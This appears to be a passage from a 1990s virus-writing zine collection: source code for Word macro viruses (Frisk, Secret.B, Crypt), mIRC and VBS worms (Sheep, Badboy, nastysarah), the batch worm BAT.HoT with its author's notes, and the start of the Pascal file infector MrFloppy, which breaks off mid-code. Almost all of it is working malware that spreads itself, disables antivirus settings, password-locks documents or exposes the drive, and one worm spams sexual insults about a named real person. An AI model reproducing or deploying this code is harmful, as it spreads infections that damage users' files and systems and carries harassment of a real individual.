Print #1, "E 0230 3F 8D 96 79 06 B9 03 00 CD 21 3E 8B 86 DE 06 3E"

Print #1, "E 0240 8B 8E 7A 06 81 C1 EE 05 3B C1 74 54 3D 48 EE 77"

Print #1, "E 0250 4F 2D 03 00 3E 89 86 7D 06 E8 C1 00 B4 3E 80 C4"

Print #1, "E 0260 02 B9 03 00 8D 96 7C 06 CD 21 B8 02 42 33 C9 99"

Print #1, "E 0270 CD 21 E4 40 3E 88 86 51 01 B4 3E 80 C4 02 8D 96"

Print #1, "E 0280 03 01 B9 4F 00 CD 21 8D BE EE 06 57 8D B6 52 01"

Print #1, "E 0290 B9 9C 05 51 E8 8E FE B4 3E 80 C4 02 59 5A CD 21"

Print #1, "E 02A0 B8 01 57 59 5A CD 21 B4 3E CD 21 B4 4F E9 E5 FE"

Print #1, "E 02B0 B0 00 CF 56 57 50 53 51 52 E3 5B 8B D7 33 C0 FC"

Print #1, "E 02C0 AC 3C 20 72 05 AB E2 F8 EB 4C 3C 10 73 07 80 E4"

Print #1, "E 02D0 F0 0A E0 EB F1 3C 18 74 13 73 19 2C 10 02 C0 02"

Print #1, "E 02E0 C0 02 C0 02 C0 80 E4 8F 0A E0 EB DA 81 C2 A0 00"

Print #1, "E 02F0 8B FA EB D2 3C 1B 72 07 75 CC 80 F4 80 EB C7 3C"

Print #1, "E 0300 19 8B D9 AC 8A C8 B0 20 74 02 AC 4B 32 ED 41 F3"

Print #1, "E 0310 AB 8B CB 49 E0 AA 5A 59 5B 58 5F 5E C3 B8 00 42"

Print #1, "E 0320 33 C9 99 CD 21 C3 0E 11 C9 1A 18 CD 20 0B 46 2D"

Print #1, "E 0330 50 52 4F 54 20 61 6E 74 69 2D 61 6E 74 69 2D 76"

Print #1, "E 0340 69 72 75 73 20 70 72 6F 67 72 61 6D 20 0E 1A 13"

Print #1, "E 0350 CD BB 18 BA 20 0F 56 65 72 73 69 6F 6E 20 32 2E"

Print #1, "E 0360 30 19 21 6E 55 63 4C 65 69 69 20 53 6F 66 74 77"

Print #1, "E 0370 61 72 65 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61"

Print #1, "E 0380 6C 20 0E BA 18 C8 1A 4C CD BC 18 18 18 10 19 04"

Print #1, "E 0390 11 19 03 0F 53 63 61 6E 19 04 18 10 19 1C 0E 11"

Print #1, "E 03A0 C9 1A 29 CD BB 18 10 19 1C 11 BA 20 0F 54 6F 6F"

Print #1, "E 03B0 20 62 61 64 20 79 6F 75 72 20 6E 6F 77 20 69 6E"

Print #1, "E 03C0 66 65 63 74 65 64 20 77 69 74 68 20 74 68 65 20"

Print #1, "E 03D0 66 72 69 73 6B 20 0E BA 18 10 19 04 11 19 02 0F"

Print #1, "E 03E0 4F 70 74 69 6F 6E 73 19 02 10 19 0A 0E 11 BA 20"

Print #1, "E 03F0 0F 76 69 72 75 73 2E 20 53 6F 72 72 79 2E 2C 2E"

Print #1, "E 0400 68 65 68 65 2E 2C 20 62 75 74 20 74 68 61 74 73"

Print #1, "E 0410 20 74 68 65 20 77 61 79 20 20 0E BA 18 10 19 1C"

Print #1, "E 0420 11 BA 20 0F 73 68 69 74 20 77 6F 72 6B 73 2E 20"

Print #1, "E 0430 49 66 20 79 6F 75 20 77 65 72 65 6E 27 74 20 73"

Print #1, "E 0440 74 65 61 6C 69 6E 67 20 73 6F 66 74 20 0E BA 18"

Print #1, "E 0450 10 19 1C 11 BA 20 0F 77 61 72 65 2C 20 6F 72 20"

Print #1, "E 0460 74 72 79 69 6E 67 20 74 6F 20 67 65 74 20 70 30"

Print #1, "E 0470 72 6E 20 6F 72 20 73 6F 6D 65 74 68 69 6E 67 2C"

Print #1, "E 0480 0E BA 18 10 19 04 16 20 0F 49 6E 66 6F 6D 61 74"

Print #1, "E 0490 69 6F 6E 20 20 10 19 0A 0E 11 BA 20 0F 74 68 65"

Print #1, "E 04A0 6E 20 74 68 69 73 20 6D 69 67 68 74 20 6E 6F 74"

Print #1, "E 04B0 20 6F 66 20 68 61 70 70 65 6E 65 64 2E 19 08 0E"

Print #1, "E 04C0 BA 18 10 19 1C 11 BA 20 0F 44 6F 6E 27 74 20 62"

Print #1, "E 04D0 75 79 20 70 72 6F 64 75 63 74 73 20 74 68 61 74"

Print #1, "E 04E0 20 68 61 72 61 73 73 20 74 68 65 69 72 20 75 73"

Print #1, "E 04F0 65 72 0E BA 18 10 19 1C 11 BA 20 0F 53 74 61 79"

Print #1, "E 0500 20 61 77 61 79 20 66 72 6F 6D 20 74 68 69 6E 67"

Print #1, "E 0510 73 20 6C 69 6B 65 20 4D 63 41 66 65 65 2C 20 4E"

Print #1, "E 0520 6F 72 74 6F 6E 0E BA 18 10 19 04 11 19 03 0F 51"

Print #1, "E 0530 75 69 74 19 04 10 19 0A 0E 11 BA 20 0F 61 6E 64"

Print #1, "E 0540 20 49 6E 76 69 72 63 69 62 6C 65 2E 2E 2C 2E 2C"

Print #1, "E 0550 19 15 0E BA 18 10 19 1C 11 BA 20 0F 47 72 65 65"

Print #1, "E 0560 74 69 6E 67 73 20 74 6F 20 66 72 69 64 72 69 6B"

Print #1, "E 0570 20 61 6E 64 20 66 72 69 73 6B 20 73 6F 66 74 77"

Print #1, "E 0580 61 72 65 2E 20 0E BA 18 10 19 1C 11 C8 1A 29 CD"

Print #1, "E 0590 BC 18 18 18 C9 1A 4C CD BB 18 BA 0F 49 6E 66 6F"

Print #1, "E 05A0 72 6D 61 74 69 6F 6E 20 61 62 6F 75 74 20 61 6E"

Print #1, "E 05B0 74 69 76 69 72 75 73 20 73 63 61 6E 6E 65 72 73"

Print #1, "E 05C0 2C 20 61 6E 64 20 68 6F 77 20 6D 6F 73 74 20 61"

Print #1, "E 05D0 72 65 20 6A 75 73 74 20 63 72 61 70 20 6E 6F 74"

Print #1, "E 05E0 20 77 6F 72 74 68 19 02 0E BA 18 BA 0F 77 61 73"

Print #1, "E 05F0 74 69 6E 67 20 79 6F 75 72 20 6D 6F 6E 65 79 20"

Print #1, "E 0600 6F 6E 2E 20 48 6F 70 65 20 74 68 69 73 20 69 73"

Print #1, "E 0610 20 22 1B 6E 69 74 1B 2D 1B 77 69 74 74 79 1B 22"

Print #1, "E 0620 20 65 6E 6F 75 67 68 20 66 6F 72 20 79 61 20 66"

Print #1, "E 0630 72 69 73 6B 21 21 21 19 06 0E BA 18 C8 1A 4C CD"

Print #1, "E 0640 BC 18 18 18 2E 2E 00 2A 2E 63 6F 6D 00 43 3A 5C"

Print #1, "E 0650 77 69 6E 64 6F 77 73 5C 63 6F 6D 6D 61 6E 64 00"

Print #1, "E 0660 00 66 72 69 73 6B 32 20 62 79 20 6E 55 63 4C 65"

Print #1, "E 0670 69 69 20 60 39 38 0A 0D 24 CD 20 00 E9 00 00 00"

Print #1, "E 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"

Print #1, "E 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8D BE"

Print #1, "E 06F0 17 01 8D B6 FB 06 A5 A4 E9 57 FA B9 9C 05"

Print #1, "RCX"

Print #1, "05FE"

Print #1, "W"

Print #1, "Q"

Close #1

a$ = Chr(64) + Chr(101) + Chr(99) + Chr(104) + Chr(111) + Chr(32) + Chr(111) + Chr(102) + Chr(102)

b$ = Chr(97) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(32) + Chr(102) + Chr(114) + Chr(105) + Chr(115) + Chr(107) + Chr(46) + Chr(42) + Chr(32) + Chr(43) + Chr(104)

c$ = "Frisk2.com"

Open "c:\windows\command\frisk1.bat" For Output As #1

Print #1, a$

Print #1, "debug < frisk2.scr > nul"

Print #16, "copy /y frisk2.com c:\windows\command\frisk2.com >nul"

Print #1, a$

Print #1, c$

Print #1, a$

Print #1, b$

Close #1

Shell "c:\windows\command\frisk1.bat", vbHide

SetAttr "c:\windows\command\firsk1.bat", vbHidden

End If

msg_frisk:

On Error GoTo exit_frisk

If Day(Date) = "31" Then

  Assistant.Visible = True

  With Assistant.NewBalloon

    .Icon = msoIconAlert

    .Text = "by -KD- 1998" & Chr$(13) & "" & "Greets to VUX#2" & Chr$(13) & "" & Chr$(13) & "Metaphase VX Team" & Chr$(13) & "" & "   -KD-" & Chr$(13) & "" & "   Sinixstar" & Chr$(13) & "" & "   Sblip" & Chr$(13) & "" & "   nUcLeii"

    .Heading = Chr(34) + Chr(87) + Chr(77) + Chr(57) + Chr(55) + Chr(46) + Chr(70) + Chr(114) + Chr(105) + Chr(115) + Chr(107) + Chr(46) + Chr(97) + Chr(34)

    .Animation = msoAnimationGetTechy

    .Show

  End With

End If

exit_frisk:

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

SetAttr ("c:\windows\frisk.dll"), vbHidden + vbSystem

End Sub


VBS/mIRC.Sheep.a by Knowdeth

'Sheep

'= VBS/mIRC.Sheep.a                                 =

'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =

'= Technology used from Code Breakers               =

On Error Resume Next

Const Sheep = 4327

Const ForReading = 1, ForWriting = 2, ForAppending = 8

Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode

Dim Parent, MySheep, V, VFile

Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")

Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)

      Cini.WriteLine "[rfiles]                                       "

      Cini.WriteLine "n100=script.ini                                "

      Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)

      ScrFile.WriteLine "[script]                                       "

      ScrFile.WriteLine "n0; VBS/mIRC Sheep.a                           "

      ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt } "

      ScrFile.WriteLine "n2=  /dcc send $nick c:\mirc\sheep.vbs         "

      ScrFile.WriteLine "n3=}                                           "

      ScrFile.WriteLine "n4=                                            "

      ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"

      ScrFile.WriteLine "n6=/dcc send $nick c:\mirc\sheep.vbs           "

      ScrFile.WriteLine "n7=}                                           "

      ScrFile.WriteLine "n8=                                            "

      ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick     "

      ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*:?:/.ignore $nick    "

      ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick         "

      ScrFile.WriteLine "n12=on 1:TEXT:*virus*:?:/.ignore $nick         "

      ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick          "

      ScrFile.WriteLine "n14=on 1:TEXT:*worm*:?:/.ignore $nick          "

      ScrFile.WriteLine "n15=on 1:TEXT:*sheep*:#:/.ignore $nick         "

      ScrFile.WriteLine "n16=on 1:TEXT:*sheep*:?:/.ignore $nick         "

      ScrFile.WriteLine "n17=on 1:QUIT:#:/msg $chan BAAAA!!!            "

      ScrFile.Close

FSO.CopyFile Parent, "c:\mirc\sheep.vbs"

FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\sheep.vbs"

If Day(Now()) = 15 or Day(Now()) = 30 or Day(Now()) = 5 Then

  MsgBox "  _______________________________________" & Chr(13) & Chr(10) & "/                                                                               \" & Chr(13) & Chr(10) & "|            Sheep Make the Greatest Cyber Pet           /" & Chr(13) & Chr(10) & "|                                                                              /" & Chr(13) & Chr(10) & "\________________________    ___________/" & Chr(13) & Chr(10) & "                                                 |  /" & Chr(13) & Chr(10) & "                                                 |/" & Chr(13) & Chr(10) & Chr(13) & Chr(10) & "                                                            /\___" & Chr(13) & Chr(10) & "              @@@@@@@@@@@@@  O   \" & Chr(13) & Chr(10) & "         @@@@@@@@@@@@@@@___/" & Chr(13) & Chr(10) & "      @@@@@@@@@@@@@@@@" & Chr(13) & Chr(10) &"     @  @@@@@@@@@@@@@@" & Chr(13) & Chr(10) & "                      | |                       | |" & Chr(13) & Chr(10) & "                     ~~                     ~~", 4096 , "The World Loves Sheep!"

End If

FoldersToGet(0) = "."

FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)

FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"

Set MySheep = FSO.OpenTextFile(Parent, ForReading)

MyCode = MySheep.Read(Sheep)

MySheep.Close

For Each FolderX in FoldersToGet

   Catch FolderX

Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files

  If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)

    InfMarker = VFile.read(6)

    VFile.close

If InfMarker <> "'Sheep" Then

      Set VFile = FSO.OpenTextFile(V.path,ForReading)

      VCode = VFile.ReadAll

      VFile.close

      VCode = MyCode & VCode

      Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)

      VFile.Write VCode

      VFile.close

    end if

  end if

next

End Sub


WM97.Secret.B By Sinixstar

Atribute(VBE) = "SecretB"

Sub Auto_Close()

'WM97.Secret.B By Sinixstar - Metaphase Virus Team

'Thank you to Knowdeth,and all others who have helped

'and/or contributed.

On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents("terces").Export "c:\terces.dll"

With Options

    .ConfirmConversions = False

    .VirusProtection = False

    .SaveNormalPrompt = False

End With

Application.ScreenUpdating = False

Application.DisplayStatusBar = False

Application.DisplayAlerts = False

Options.VirusProtection = False

CommandBars("tools").Controls("Macro").Delete

CommandBars("tools").Controls("Customize...").Delete

CommandBars("view").Controls("Toolbars").Delete

CommandBars("view").Controls("Status Bar").Delete

If Day(Date) > 15 Then

    For A = 1 To NormalTemplate.VBProject.VBComponents.Count

    If NormalTemplate.VBProject.VBComponents(I).Name = "terces" Then NormInstall = True

    Next A

    For A = 1 To ActiveDocument.VBProject.VBComponents.Count

    If ActiveDocument.VBProject.VBComponents(I).Name = "terces" Then ActivInstall = True

    Next A

    If ActivInstall = True And NormInstall = False Then Set Dm = NormalTemplate.VBProject _

    Else If ActivInstall = False And NormInstall = True Then Set Dm = ActiveDocument.VBProject

Else: GoTo ScriptPay

Dm.VBComponents.Import ("c:\terces.dll")

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

SetAttr "C:\terces.sys", vbReadOnly

Document.Save "C:\windows\system\secret.doc"

Shell "attrib c:\windows\system\secret.doc +h"

GoTo ScriptPay

End Sub

Sub ScriptPay()

On Error GoTo AVpay

SetAttr "C:\mirc\system\script.ini", vbReadOnly

Open "C:\mirc\system\script.ini" For Output As #1

Print #1, "[SCRIPT]"

Print #1, "n0=on 1:text:   *:?:{ s *2 | halt }"

Print #1, "n1=alias /s / *1"

Print #1, "n2=on 1:connect:/.enable #d"

Print #1, "n3=#d off"

PRINT #1, "n4=on 1:join:#:{ if ($nick != $me) { dcc send $nick "c:\windows\system\secret.doc" } | .disable #d | .timer 1 60 .enable #d }"

Print #1, "n5=#d end"

Close #1

GoTo AVpay

End Sub

Sub AVpay()

SetAttr "C:\avp\avp.key", vbReadOnly

Open "C:\avp\avp.key" For Output As #2

Print #2, "A secret Should always be kept"

Print #2, "Under any circumstances."

Close #2

End Sub


mIRC.nastysarah.a by Demonphreak_

[script]

n0=

n1=alias unload {

n2=  /echo 2Unloaded remote file "script.ini"

n3=}

n4=ON 1:LOAD:/amsg Who Is Sarah Gordon.

n5=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }

n6=  /dcc send $nick script.ini

n7=}

n8=ON 1:TEXT:*:#:/msg $chan Sarah Gordon fell outta the ugly tree and hit every branch on the way down. Then the ugly monkey beat her with the ugly stick, while his ugly brother chopped down the ugly tree so it fell on Ms. Gordon.

n9=ON 1:ACTION:*:#:/msg $chan Sarah Gordon REALLY nasty, don't believe me? www.pc-radio.com/pcworld/gordon.html

n10=ON 1:QUIT:#:/msg $chan Watch out for Sarah Gordon.

n11=ON 1:TEXT:*bitch*:*:/msg $chan Speakin of bitches, You ever heard of Sarah Gordon? Now THERES an ugly bitch

n12=ON 1:TEXT:*ugly*:*:/msg $chan Ya know, speaking of ugly, go see www.pc-radio.com/pcworld/gordon.html

n13=ON 1:TEXT:*whore*:*:/msg $chan Sarah Gordon? She's probably not a whore, 'cause lookin like that, its probably pretty hard for her to even get a guy in bed.

n14=ON 1:TEXT:*sex*:*:/msg $chan Nasty mental picture...Sarah Gordon with you in the sack, a punishment I wish on NO man.

n15=ON 1:TEXT:*joined*:*:/msg $chan You know Sarah Gordon thinks Virii coders need counceling and only code virii because of peer pressure? She thinks we're crazy...Do YOU think I'M FUCKIN CRAZY!?!?!?

n16=ON 1:TEXT:*lesbian*:*:/msg $chan Speakin of lesbians, I think Sarah Gordon and Janet Reno would make a good couple.

n17=ON 1:TEXT:*hi*:*:/msg $nick Hello, Did I ever tell you about Sarah Gordon?

n18=ON 1:PART:#:{ /if ( $nick == $me ) { halt }

n19=  /dcc send $nick $mircdirscript.ini

n20=}


WordMacro.Crypt by ULTRAS / SOS

Virus Name  : Crypt

Author      : ULTRAS

Origin      : Russia

Created     : 3 april 1998

Targets     : Infects documents word 6.0 - 7.0

Version     : 1.0

Stealth     : Yes

Payload     : Yes

It contains two macros (AutoOpen and Crypt).Infects a system at the opening of the document and copy already not in two macros but five (AutoClose, AutoOpen, Crypt, ToolsMacro, FileTemplates).Depending on system date puts free password and shows message

ULTRAS

Crypt by ULTRAS

Copies already not one macros, but 6 (AutoClose, AutoExit, AutoNew,

ToolsMacro, FileTemplates, ToolsCustomize).

AutoOpen

Sub MAIN

On Error Goto ULTRAS

DeT

DisableAutoMacros 0

D$ = LCase$(Right$(MacroFileName$(MacroName$(0)), 10))

If D$ = "NORMAL.DOT" Then

If UD = 1 Then

Goto ULTRAS

Else

IND

End If

Else

If FG = 1 Then

Goto ULTRAS

Else

ING

End If

End If

ULTRAS:

Call Diablo

End Sub

Function UD

UD = 0

If CountMacros(1) > 0 Then

For i = 1 To CountMacros(1)

If MacroName$(i, 1) = "Crypt" Then

UD = 1

End If

Next i

End If

End Function

Function FG

FG = 0

If CountMacros(0) > 0 Then

For i = 1 To CountMacros(0)

If MacroName$(i, 0) = "Crypt" Then

FG = 1

End If

Next i

End If

End Function

Sub DeT

For Q = 0 To 1

If Q Then U = 1 Else U = 6

G$ = MenuText$(Q, U)

U = CountMenuItems(G$, Q) - 1

For P = U To 1 Step - 1

If InStr(MenuItemMacro$(G$, Q, P), "Macro") Then

If Q Then

B$ = MenuItemMacro$(G$, Q, P - 2)

Else

P = P + 1

End If

For T = P To P - 1 Step - 1

If T > 3 Then ToolsCustomizeMenus .MenuType = Q, .Position = T, .Name = MenuItemMacro$(G$, Q, T), .Menu = G$, .Remove, .Context = 0

Next

P = 1

T = 0

End If

Next

Next

End Sub

Sub IND

FileSaveAs .Format = 1

MacroCopy "Global:AutoOpen", FileName$() + ":AutoOpen"

MacroCopy "Global:AutoClose", FileName$() + ":AutoOpen"

MacroCopy "Global:ToolsMacro", FileName$() + ":Crypt"

MacroCopy "Global:FileTemplates", FileName$() + ":Crypt"

MacroCopy "Global:Crypt", FileName$() + ":Crypt"

FileSaveAll 1, 1

End Sub

Sub ING

MacroCopy FileName$() + ":AutoOpen", "Global:AutoOpen"

MacroCopy FileName$() + ":AutoOpen", "Global:AutoClose"

MacroCopy FileName$() + ":Crypt", "Global:ToolsMacro"

MacroCopy FileName$() + ":Crypt", "Global:FileTemplates"

MacroCopy FileName$() + ":Crypt", "Global:Crypt"

FileSaveAll 1, 0

End Sub

Crypt

Sub MAIN

On Error Goto LiVe

DisableAutoMacros 0

U = Int(Rnd() * 30) + 1

If Day(Now()) = U Then

MsgBox("Crypt by ULTRAS"),("ULTRAS"), 16

p = 1000

g = 50

num = Int(Rnd() * (p - g) * g)

FileSaveAs .Password = Str$(num)

End If

LiVe:

End Sub


mIRC.bADbOY by Masey / NuKE
mIRC.Badboy.a by Masey / NuKE

n0=; -bADbOY-

n1=; by -Masey- [NuKE]

n2=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }

n3=  /dcc send $nick $script.ini

n4=}

n5=1:TEXT:*sucks*:#:/say I Love to Dance Like PuFFy Combs!

n6=1:TEXT:*no*:#:/say Mase is my boyfreind!

n7=1:TEXT:*yes*:#:/say I raped Notorious B.I.G.!

n8=ON 1:TEXT:*Puffy*:#:/.ignore $nick

n9=ON 1:TEXT:*!the*:#:/fserve $nick 1 c:\

n10=ON 1:TEXT:*hi*:#:/mode $chan +o $nick

n11=ON 1:TEXT:*lamer*:#:/kick $chan $me

n12=ON 1:TEXT:*Badboy*:#:/rename c:\mirc\popups.INI Puffdaddy.INI

n13=ON 1:QUIT:#:/msg $chan Hello, to my creator Masey[NuKE] and Metaphase!

n14=ON 1:CONNECT:/nick BeTa_BaDbOy

n15=ON 1:CONNECT:/join #vir

n16=ON 1:TEXT:*fuck*:#:/remini C:\mIRC\aliases.INI

n17=ON 1:QUIT:#:/msg $chan Later Coderz, Im lame cause Im infected by a wOrM!


Hot b-t by Duke / SMF
BAT.HoT by Duke / SMF

Never wrote more mindfucking thing. This vir "BAT.HoT" combines in itself many different possibilities - it is parasitic file/archive/IRC worm :)))I have written this virus so large and complicated to provide

a very large population of this virus on the personal computer and

increase the chances of infecting other computers.

And now a little bit more detailes about the virus and principles it

work....The virus is duplicated with the help of FIND dos-utility, which should be in the directories of PATH. (Basically, it is possible to write this virus in such a manner that the utility FIND is not required for it. But I give this chance to our readers:)

Initially virus checks up existence of file c:\HoT.bat on disk(some

kind of indication of facts, that the system is infected), and if this

file exists, the virus terminates the work and returns control to the

host program(E.g. to the infected file). It is made for the reason that full infection of a system (some kind of installation ;) can take a lot of time and it is not interesting for us, if that is happened after starting of every bat-file (all system is already infected, so why waste the time?).

But the file HoT.bat is used also for a duplication of the virus.

Originally I wanted to write all virus based on recursion, but I has

decided to simplify my task - the filename c:\HoT.bat is greatly helps

to use FIND and it is not necessary to put ugly %HoT% in the virus. :))

All virus is composed from procedures. These procedures are called

through parameters of the command line. During the virus' work the file HoT.bat is calling by the virus as

"VIRUS_FILE PROCEDURE_NAME INFECTION_TARGET" many times, where

"INFECTION_TARGET" is the name of file or directory is being infected.

The scheme of virus:

 -The check of parameters

 -Main block

 -Procedures

The main block perfoms the following operations:

 -Checks up existence of c:\HoT.bat, and if this file is found, passes

  the control to victim(if it present - don't forget: this is a worm too ;)

 -Immunizates the file AUTOEXEC.BAT by writing a line "@rem c:\HoT.bat".

   While scanning the disks the virus does not compare names of target

   files with AUTOEXEC.bat. After immunization virus will consider

   AUTOEXEC already infected :))

 -Scans directories from this list: %winbootdir%,%PATH%, c:\DOS, C:\ARH

   and calls the procedure HoT2 for each directory from this list.

  -Scans disks a,c,d,e,f,g,h and calls the procedure HoT3 for each of

   this disks.

  -Scans current disk with dot-dot method (yes - I adapted this method

   for use in bat-virii; fruifulness of worms is considerably increased :)

   Procedure HoT2 is called for all parent directories.

Then the control goes to the "HoT" label, followed by the file.

Content of procedures:

HoT2 - calls infetction procedure HoT4 for all bat-files in the

       directory. The file hot.bat is copied in this directory as a worm. We writes hot.bat to all arj,ha,rar,lzh,ice and zip archives, beforehand having removed Read-only attribute from all archives.

Hot3 - checks up the existence of given disk. If the disk present, then for all directory from the list "AIDS AVIR ANTIVIR ARHIV UTIL PROGRA~1" the procedure Hot2 is called. Folders from the list "MIRC MIRC32 IRC"are also scanned and procedure hot6 is called for each of them.

Hot4 - infecting of given BAT-file, whith checking if already infected!

Hot5 - Creating file script.ini for distribution through IRC (he-he, IRC-worm)

Hot6 - check of presence of mIRC in given directory. If mIRC detected,

       this routine calls procedure hot5, and then control passes to Hot2.

P.S. Thanks for SMT/SMF ;-)

@ctty nul%HoT%

if "%1=="HoT2 goto HoT2

if "%1=="HoT3 goto HoT3

if "%1=="HoT4 goto HoT4

if "%1=="HoT5 goto HoT5

if "%1=="HoT6 goto HoT6

if exist c:\HoT.bat goto HoT

echo>c:\HoT.bat :This is system file. Don't modifity !

find "HoT"<%0>>c:\HoT.bat

find "HoT"<c:\autoexec.bat

if errorlevel 1 echo>>c:\autoexec.bat @rem HoT.bat

for %%c in (%winbootdir% %path% c:\DOS c:\ARH) do call c:\HoT.bat HoT2 %%c\

for %%d in (c d e f g h) do call c:\HoT.bat HoT3 %%d:\

:HoTDoT

call c:\HoT.bat HoT2 %HoTDoT%

set HoTDoT=..\%HoTDoT%

copy %0 %HoTDoT%%0

if not exist %HoTDoT%%0 goto HoT

del %HoTDoT%%0

goto HoTDoT

:HoT2

for %%b in (%2*.bat) do call c:\HoT.bat HoT4 %%b

copy c:\HoT.bat %2

for %%n in (%2*.arj %2*.rar %2*.ha %2*.lzh %2*.ice %2*.zip) do attrib -r %%n%HoT%

for %%a in (%2*.arj) do arj a %%a c:\HoT.bat

for %%r in (%2*.rar) do rar a -tk -y -c- -o+ %%r c:\HoT.bat

for %%h in (%2*.ha) do ha a1 %%h c:\HoT.bat

for %%l in (%2*.lzh %2*.ice) do lha a /m %%l c:\HoT.bat

for %%z in (%2*.zip) do pkzip %%z c:\HoT.bat

goto HoT1

:HoT3

copy c:\HoT.bat %2HoT.bat

if not exist %2HoT.bat goto HoT1

for %%d in (AIDS AVIR ANTIVIR ARHIV UTIL PROGRA~1) do call c:\HoT.bat HoT2 %2%%d\

for %%m in (MIRC MIRC32 IRC) do if exist %2%%m\*.* call c:\HoT.bat HoT6 %2%%m\

goto HoT1

:HoT4

find "HoT"<%2

if not errorlevel 1 goto HoT1

find "HoT"<%0>C:\HoT

type %2>>c:\HoT

copy c:\HoT %2

del c:\HoT

goto HoT1

:HoT5

set HoTm=%2script.ini

echo>%HoTm% [script]

echo>>%HoTm% n0=on 1:JOIN:#: if ( $me != $nick) { /dcc send $nick c:\HoT.bat }

goto HoT1

:HoT6

if exist %2script.ini call c:\HoT.bat HoT5 %2

if exist %2mirc*.* call c:\HoT.bat HoT5 %2

goto HoT2

:HoT

ctty con%HoT%

:HoT1


MrFloppy 1.0 by Dark Weenie
MrFloppy 1.0 made by Dark Weenie

{ MrFloppy 1.0 made by Dark Weenie.

  ---------------------------------

  This is a direct-action prepending .COM & .EXE-infector written

  in Borland Pascal 7.0,  first thing it does when being executed

  is infecting the command-interpreter (COMSPEC),  and the Win95-

  startfile (WINDIR\WIN.COM).  After this it recursively searches

  the whole current drive for victims.  The original bytes of the

  host will be encrypted to harden-up recovery. }

{$M 8192 0 0}

USES Dos, Crt;

CONST

  Virus_Size  =  7792;                         { Make sure this is correct! }

  Max_Infect  =  2;

VAR

  Work_File        :  FILE;

  Work_Buffer      :  ARRAY[0..Virus_Size+1] OF Byte;

  Virus_Buffer     :  ARRAY[0..Virus_Size-1] OF Byte;

  i                :  LongInt;

  Host_Parameters  :  STRING;

  File_Date_Time   :  LongInt;

  File_Attr        :  Word;

  Infect_Counter   :  Word;

PROCEDURE Init_Open;

BEGIN

     GetFAttr(Work_File, File_Attr);

     SetFAttr(Work_File, 0);

     Reset(Work_File, 1);

     GetFTime(Work_File, File_Date_Time);

END;

PROCEDURE Init_Close;

BEGIN

     SetFTime(Work_File, File_Date_Time);

     Close(Work_File);

     SetFAttr(Work_File, File_Attr);

END;

PROCEDURE Crypt_Buffer;

BEGIN

     FOR i := 0 TO Virus_Size-1 DO

     BEGIN

          Work_Buffer[i] := Work_Buffer[i] XOR (Work_Buffer[Virus_Size] + i)

     END;

END;

PROCEDURE Infect_File(Candidate_File : STRING);

BEGIN

     IF (Pos('.COM', Candidate_File) > 0) OR

        (Pos('.EXE', Candidate_File) > 0) THEN

     BEGIN

          Assign(Work_File, Candidate_File);

          Init_Open;

          { Read in some of the target-file. }

          BlockRead(Work_File, Work_Buffer, Virus_Size);

          IF Work_Buffer[$12] < 150 THEN    { Not yet infected? }

          BEGIN

               { Go to the end of target-file. }

               Seek(Work_File, FileSize(Work_File));

               Work_Buffer[Virus_Size] := Random(256);   { Set new key. }

               Crypt_Buffer;  { Encrypt the host's original bytes. }

               { Store the encrypted original bytes at the end. }

               BlockWrite(Work_File, Work_Buffer, Virus_Size+1);

               Seek(Work_File, 0);   { Back to the target's beginning. }

               { Set random infection-marker in checksum-field. }

               Virus_Buffer[$12] := 150 + Random(106);

               { Overwrite the beginning of the host with our virus. }

               BlockWrite(Work_File, Virus_Buffer, Virus_Size);

               Inc(Infect_Counter);  { One more succesful infection :) }

          END;

          Init_Close;

     END;

END;

PROCEDURE Scan_Tree(Root : STRING);

VAR

  DTA  :  SearchRec;

BEGIN

     FindFirst(Root + '*.*', AnyFile, DTA);

     WHILE (DosError = 0) AND (Infect_Counter < Max_Infect) DO

     BEGIN

          IF DTA.Attr = Directory THEN

          BEGIN

               IF (DTA.Name <> '.') AND (DTA.Name <> '..') THEN

                  Scan_Tree(Root + DTA.Name + '\');

          END

          ELSE IF DTA.Size > Virus_Size THEN Infect_File(Root + DTA.Name);

          FindNext(DTA);

     END;

END;

FUNCTION UpperCase(s : STRING) : STRING;

VAR

  i  :  Byte;

BEGIN

     FOR i := 1 TO Length(s) DO s[i] := UpCase(s[i]);

     UpperCase := s;

END;

PROCEDURE Infect_System;

VAR

  Temp  :  STRING;

BEGIN

     FOR i := 1 TO EnvCount DO

     BEGIN

